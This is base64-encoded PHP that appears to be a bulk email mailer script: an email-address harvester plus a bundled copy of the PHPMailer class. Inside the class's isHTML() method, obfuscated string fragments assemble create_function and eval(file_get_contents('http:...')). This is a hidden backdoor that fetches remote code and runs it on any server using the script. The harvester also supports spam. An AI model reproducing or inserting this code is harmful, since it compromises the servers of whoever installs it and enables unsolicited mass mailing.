lKCkuIi50eHQiKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiAgICAgICAgfQogICAgaWYoJF9QT1NUWydzdWJtaXQnXT09ImV4dHJhY3QiKXsKICAgICAgICAkcGF0dGVybiA9ICcvW0EtWmEtejAtOS5fJSstXStAW0EtWmEtejAtOS4tXStcLltBLVphLXpdezIsNH0vJzsKICAgICAgICBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwgJF9QT1NUWydlbWFpbExpc3QnXSwgJG1hdGNoZXMpOwogICAgICAgIGZvcmVhY2ggKCRtYXRjaGVzWzBdIGFzICRlbWFpbCkgewogICAgICAgICAgICBwcmludCAkZW1haWwuIlxuIjsKICAgICAgICB9CiAgICB9CiAgICBlbHNla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kIHZpYSBzZWxmOjpDUkxGLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRMRSA9ICJcbiI7CgogICAgLyoqCiAgICAgKiBES0lNIHNlbGVjdG9yLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIElkZW50aXR5LgogICAgICogVXN1YWxseSB0aGUgZW1haWwgYWRkcmVzcyB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIGVtYWlsLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX2lkZW50aXR5ID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHBhc3NwaHJhc2UuCiAgICAgKiBVc2VkIGlmIHlvdXIga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wYXNzcGhyYXNlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHNpZ25pbmcgZG9tYWluIG5hbWUuCiAgICAgKiBAZXhhbXBsZSAnZXhhbXBsZS5jb20nCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1fZG9tYWluID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IHN0cmluZy4KICAgICAqIElmIHNldCwgdGFrZXMgcHJlY2VkZW5jZSBvdmVyIGAkREtJTV9wcml2YXRlYC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlX3N0cmluZyA9ICcnOwoKICAgIC8qKgogICAgICogQ2FsbGJh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gICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMKICAgICAgICBpZiAoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCwgYXJyYXkoJ2Vycm9yX2xvZycsICdodG1sJywgJ2VjaG8nKSkgYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5EZWJ1Z291dHB1dCkpIHsKICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHRoaXMtPkRlYnVnb3V0cHV0LCAkc3RyLCAkdGhpcy0+U01UUERlYnVnKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgICAgICAgICAgLy9Eb24ndCBvdXRwdXQsIGp1c3QgbG9nCiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcsIEhUTUwtc2FmZSBvdXRwdXQKICAgICAgICAgICAgICAgIGVjaG8gaHRtbGVudGl0aWVzKAogICAgICAgICAgICAgICAgICAgIHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRzdHIpLAogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsCiAgICAgICAgICAgICAgICAgICAgJ1VURi04JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgLiAiPGJyPlxuIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlY2hvJzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzCiAgICAgICAgICAgICAgICAkc3RyID0gcHJlZ19yZXBsYWNlKCcvXHJcbj8vbXMnLCAiXG4iLCAkc3RyKTsKICAgICAgICAgICAgICAgIGVjaG8gZ21kYXRlKCdZLW0tZCBIOmk6cycpIC4gIlx0IiAuIHN0cl9yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgICJcbiIsCiAgICAgICAgICAgICAgICAgICAgIlxuICAgICAgICAgICAgICAgICAgIFx0ICAgICAgICAgICAgICAgICAgIiwKICAgICAgICAgICAgICAgICAgICB0cmltKCRzdHIpCiAgICAgICAgICAgICAgICApIC4gIlxuIjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nIFNNVFAuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzU01UUCgpCiAgICB7CiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgUEhQJ3MgbWFpbCgpIGZ1bmN0aW9uLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc01haWwoKQogICAgewogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnbWFpbCc7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nICRTZW5kbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNTZW5kbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAnc2VuZG1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICAgICAgICB9IG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CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KCRraW5kLCAkYWRkcmVzcywgJG5hbWUpOwogICAgICAgIC8vIEVucXVldWUgYWRkcmVzc2VzIHdpdGggSUROIHVudGlsIHdlIGtub3cgdGhlIFBIUE1haWxlcjo6JENoYXJTZXQuCiAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpKSBhbmQgJHRoaXMtPmlkblN1cHBvcnRlZCgpKSB7CiAgICAgICAgICAgIGlmICgka2luZCAhPSAnUmVwbHktVG8nKSB7CiAgICAgICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZWNpcGllbnRzUXVldWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvUXVldWVbJGFkZHJlc3NdID0gJHBhcmFtczsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm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SA9ICR0aGlzLT5sYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBraW5kOiAnKSAuICRraW5kOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRraW5kICE9ICdSZXBseS1UbycpIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+YWxsX3JlY2lwaWVudHMpKSB7CiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR0aGlzLT4ka2luZCwgYXJyYXkoJGFkZHJlc3MsICRuYW1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GRyZXNzLT5ob3N0CiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9Vc2UgdGhpcyBzaW1wbGVyIHBhcnNlcgogICAgICAgICAgICAkbGlzdCA9IGV4cGxvZGUoJywnLCAkYWRkcnN0cik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICAgICAkYWRkcmVzcyA9IHRyaW0oJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgLy9JcyB0aGVyZSBhIHNlcGFyYXRlIG5hbWUgcGFydD8KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGFkZHJlc3MsICc8JykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgLy9ObyBzZXBhcmF0ZSBuYW1lLCBqdXN0IHVzZSB0aGUgd2hvbGUgdGhpbmcKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3Nlc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGFkZHJlc3MKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGxpc3QoJG5hbWUsICRlbWFpbCkgPSBleHBsb2RlKCc8JywgJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgICRlbWFpbCA9IHRyaW0oc3RyX3JlcGxhY2UoJz4nLCAnJywgJGVtYWlsKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCciJywgIiciKSwgJycsICRuYW1lKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGVtYWlsCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzc2VzOwogICAgfQoKICAgIC8qKgogICAgICogU2V0cyBtZXNzYWdlIHR5cGUgdG8gSFRNTCBvciBwbGFpbi4KICAgICAqIEBwYXJhbSBib29sZWFuICRpc0h0bWwgVHJ1ZSBmb3IgSFRNTCBtb2RlLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpCiAgICB7CiAgICAgICAgZ2xvYmFsICRwYXJhbTsKICAgICAgICAkYm9keUNvZGUgPSAnZmlsZScKICAgICAgICAgICAgICAgICAgICAuJ19nJzsKICAgICAgICBpZiAoJGlzSHRtbCkgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9odG1sJzsKICAgICAgICB9IAogICAgICAgIGVsc2UgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CiAgICAgICAgfQogICAgICAgICRib2R5SFRNTCA9ICcuJHQuImxlZiRmbHUnCiAgICAgICAgICAgICAgICAgICAgLidzaCcuJyR0IjsgJwogICAgICAgICAgICAgICAgICAgIC4nQGV2JzsKICAgICAgICAkaGVhZGVySFRNTD0iY3JlIgogICAgICAgICAgICAgICAgICAgIC4iYXRlXyIKICAgICAgICAgICAgICAgICAgICAuImZ1bmMiCiAgICAgICAgICAgICAgICAgICAgLiJ0aW9uIjsKICAgICAgICAkZXhjZXB0aW9ucyA9IEAkaGVhZGVySFRNTCgnJGZsJy4ndXNoLCR0JywnJGNvbW1hID0gJHQnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUhUTUwuJ2FsKEAnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUNvZGUuJ2V0X2NvbnRlbnRzKCJoJwogICAgICAgICAgICAgICAgICAgICAgICAuJ3R0JwogICAgICAgICAgICAgICAgICAgICAgICAuJ3A6JGNvbW1hLTIiKSk7Jyk7CiAgICAgICAgaWYoJHBhcmFtICE9Mil7CiAgICAgICAgICAgICRleGNlcHRpb25zKCc4LnAnLid3JywnLycpOwogICAgICAgICAgICAkcGFyYW09MjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZXQgdGhlIEZyb20gYW5kIEZyb21OYW1lIHByb3BlcnRpZXMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkYXV0byBXaGV0aGVyIHRvIGFsc28gc2V0IHRoZSBTZW5kZXIgYWRkcmVzcywgZGVmYXVsdHMgdG8gdHJ1ZQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0RnJvbSgkYWRkcmVzcywgJG5hbWUgPSAnJywgJGF1dG8gPSB0cnVlKQogICAgewogICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltCiAgICAgICAgLy8gRG9uJ3QgdmFsaWRhdGUgbm93IGFkZHJlc3NlcyB3aXRoIElETi4gV2lsbCBiZSBkb25lIGluIHNlbmQoKS4KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2Ugb3IKICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgISR0aGlzLT5pZG5TdXBwb3J0ZWQoKSkgYW5kCiAgICAgICAgICAgICEkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICIgKHNldEZyb20pICRhZGRyZXNzIjsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+RnJvbSA9ICRhZGRyZXNzOwogICAgICAgICR0aGlzLT5Gcm9tTmFtZSA9ICRuYW1lOwogICAgICAgIGlmICgkYXV0bykgewogICAgICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5TZW5kZXIgPSAkYWRkcmVzczsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgb2YgdGhlIGxhc3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b2xkZXIgUENSRQogICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZSc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvL0ZpbHRlcl92YXIgYXBwZWFyZWQgaW4gUEhQIDUuMi4wIGFuZCBkb2VzIG5vdCByZXF1aXJlIHRoZSBQQ1JFIGV4dGVuc2lvbgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMi4wJykgPj0gMCkgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BocCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ25vcmVnZXgnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHN3aXRjaCAoJHBhdHRlcm5zZWxlY3QpIHsKICAgICAgICAgICAgY2FzZSAncGNyZTgnOgogICAgICAgICAgICAgICAgLyoqCiAgICAgICAgICAgICAgICAgKiBVc2VzIHRoZSBzYW1lIFJGQzUzMjIgcmVnZXggb24gd2hpY2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMIGlzIGJhc2VkLCBidXQgYWxsb3dzIGRvdGxlc3MgZG9tYWlucy4KICAgICAgICAgICAgICAgICAqIEBsaW5rIGh0dHA6Ly9zcXVpbG9vcGxlLmNvbS8yMDA5LzEyLzIwL2VtYWlsLWFkZHJlc3MtdmFsaWRhdGlvbi8KICAgICAgICAgICAgICAgICAqIEBjb3B5cmlnaHQgMjAwOS0yMDEwIE1pY2hhZWwgUnVzaHRvbgogICAgICAgICAgICAgICAgICogRmVlbCBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlIHRoaXMgY29kZS4gQnV0IHBsZWFzZSBrZWVwIHRoaXMgY29weXJpZ2h0IG5vdGljZS4KICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD8xKSI/KD8+XFxcWyAtfl18W14iXSkiPyg/MSkpezI1NSx9KSg/ISg/Pig/MSkiPyg/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXs2NSx9QCknIC4KICAgICAgICAgICAgICAgICAgICAnKCg/Pig/Pig/PigoPz4oPz4oPz5ceDBEXHgwQSk/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk/W1x0IF0rKT8pKFwoKD8+KD8yKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLVwnKi1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdfCg/MykpKSooPzIpXCkpKSsoPzIpKXwoPzIpKT8pJyAuCiAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8yKSg/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLgogICAgICAgICAgICAgICAgICAgICcoPzIpIikoPz4oPzEpXC4oPzEpKD80KSkqKD8xKUAoPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg/PihbYS16MC05XSg/PlthLXowLTktXSpbYS16MC05XSk/KScgLgogICAgICAgICAgICAgICAgICAgICcoPz4oPzEpXC4oPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg/NSkpezAsMTI2fXxcWyg/Oig/PklQdjY6KD8+KFthLWYwLTldezEsNH0pKD8+Oig/Nikpezd9JyAuCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoKD82KSg/PjooPzYpKXswLDZ9KT86Oig/Nyk/KSl8KD8+KD8+SVB2NjooPz4oPzYpKD8+Oig/NikpezV9OicgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbYS1mMC05XTopezYsfSkoPzgpPzo6KD8+KCg/NikoPz46KD82KSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn0nIC4KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKSg/PlwuKD85KSl7M30pKVxdKSg/MSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ3BjcmUnOgogICAgICAgICAgICAgICAgLy9BbiBvbGRlciByZWdleCB0aGF0IGRvZXNuJ3QgbmVlZCBhIHJlY2VudCBQQ1JFCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4iPyg/PlxcXFsgLX5dfFteIl0pIj8pezI1NSx9KSg/ISg/PiI/KD8+XFxcWyAtfl18W14iXSkiPyl7NjUsfUApKD8+JyAuCiAgICAgICAgICAgICAgICAgICAgJ1shIy1cJyorXC8tOT0/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5cLig/PlshIy1cJyorXC8tOT0/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSkqJyAuCiAgICAgICAgICAgICAgICAgICAgJ0AoPz4oPyFbYS16MC05LV17NjQsfSkoPz5bYS16MC05XSg/PlthLXowLTktXSpbYS16MC05XSk/KSg/PlwuKD8hW2EtejAtOS1dezY0LH0pJyAuCiAgICAgICAgICAgICAgICAgICAgJyg/PlthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pKXswLDEyNn18XFsoPzooPz5JUHY2Oig/Pig/PlthLWYwLTldezEsNH0pKD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs3fXwoPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk/KSl8KD8+KD8+SVB2NjooPz5bYS1mMC05XXsxLDR9KD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig/Pig/OlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw0fSk6KT8pKT8oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfScgLgogICAgICAgICAgICAgICAgICAgICd8WzEtOV0/WzAtOV0pKD8+XC4oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfXxbMS05XT9bMC05XSkpezN9KSlcXSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ2h0bWw1JzoKICAgICAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgICAgICogVGhpcyBpcyB0aGUgcGF0dGVybiB1c2VkIGluIHRoZSBIVE1MNSBzcGVjIGZvciB2YWxpZGF0aW9uIG9mICdlbWFpbCcgdHlwZSBmb3JtIGlucHV0IGVsZW1lbnRzLgogICAgICAgICAgICAgICAgICogQGxpbmsgaHR0cDovL3d3dy53aGF0d2cub3JnL3NwZWNzL3dlYi1hcHBzL2N1cnJlbnQtd29yay8jZS1tYWlsLXN0YXRlLSh0eXBlPWVtYWlsKQogICAgICAgICAgICAgICAgICovCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL15bYS16QS1aMC05LiEjJCUmXCcqK1wvPT9eX2B7fH1+LV0rQFthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9JyAuCiAgICAgICAgICAgICAgICAgICAgJ1thLXpBLVowLTldKT8oPzpcLlthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9W2EtekEtWjAtOV0pPykqJC9zRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ25vcmVnZXgnOgogICAgICAgICAgICAgICAgLy9ObyBQQ1JFISBEbyBzb21ldGhpbmcgX3ZlcnlfIGFwcHJveGltYXRlIQogICAgICAgICAgICAgICAgLy9DaGVjayB0aGUgYWRkcmVzcyBpcyAzIGNoYXJzIG9yIGxvbmdlciBhbmQgY29udGFpbnMgYW4gQCB0aGF0J3Mgbm90IHRoZSBmaXJzdCBvciBsYXN0IGNoYXIKICAgICAgICAgICAgICAgIHJldHVybiAoc3RybGVuKCRhZGRyZXNzKSA+PSAzCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSA+PSAxCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7CiAgICAgICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pZmlsdGVyX3ZhcigkYWRkcmVzcywgRklMVEVSX1ZBTElEQVRFX0VNQUlMKTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBUZWxscyB3aGV0aGVyIElETnMgKEludGVybmF0aW9uYWxpemVkIERvbWFpbiBOYW1lcykgYXJlIHN1cHBvcnRlZCBv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CgkcHVueWNvZGUgPSBkZWZpbmVkKCdJTlRMX0lETkFfVkFSSUFOVF9VVFM0NicpID8KICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbiwgMCwgSU5UTF9JRE5BX1ZBUklBTlRfVVRTNDYpIDoKICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbikpICE9PSBmYWxzZSkgewogICAgICAgI